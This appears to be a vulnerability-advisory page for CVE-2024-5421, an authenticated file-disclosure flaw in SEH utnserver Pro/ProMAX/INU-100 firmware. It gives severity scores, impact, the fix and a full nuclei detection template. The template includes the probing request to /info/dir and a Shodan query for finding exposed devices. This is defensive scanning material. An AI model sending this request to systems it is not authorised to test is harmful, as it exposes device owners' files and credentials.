SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure

highseverity

8.7CVSS score

3.7%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.

Impact

Authenticated attackers can access arbitrary files and directories on the system, potentially exposing sensitive configuration files, credentials, and system information.

Fix

Update SEH utnserver Pro/ProMAX/INU-100 to a version later than 20.1.22 that addresses the path traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/info/dir?/
Positive when: contains "/var/tmp</td>" and "File System Info" and "face=\"courier" AND status 200

Run it with nuclei: nuclei -id CVE-2024-5421 -u <target>

The full check

id: CVE-2024-5421

info:
  name: SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure
  author: bl4ckp4r4d1s3
  severity: high
  description: |
    A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.
  impact: |
    Authenticated attackers can access arbitrary files and directories on the system, potentially exposing sensitive configuration files, credentials, and system information.
  remediation: |
    Update SEH utnserver Pro/ProMAX/INU-100 to a version later than 20.1.22 that addresses the path traversal vulnerability.
  reference:
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-seh-untserver-pro/index.html
    - https://seclists.org/fulldisclosure/2024/Jun/4
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5421
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L
    cvss-score: 8.7
    cve-id: CVE-2024-5421
    cwe-id: CWE-78
    epss-score: 0.03692
    epss-percentile: 0.89804
  metadata:
    verified: true
    max-request: 1
    shodan-query: "SEH HTTP Server"
  tags: cve,cve2024,utnserver,seh,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/info/dir?/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/var/tmp</td>"
          - "File System Info"
          - 'face="courier'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from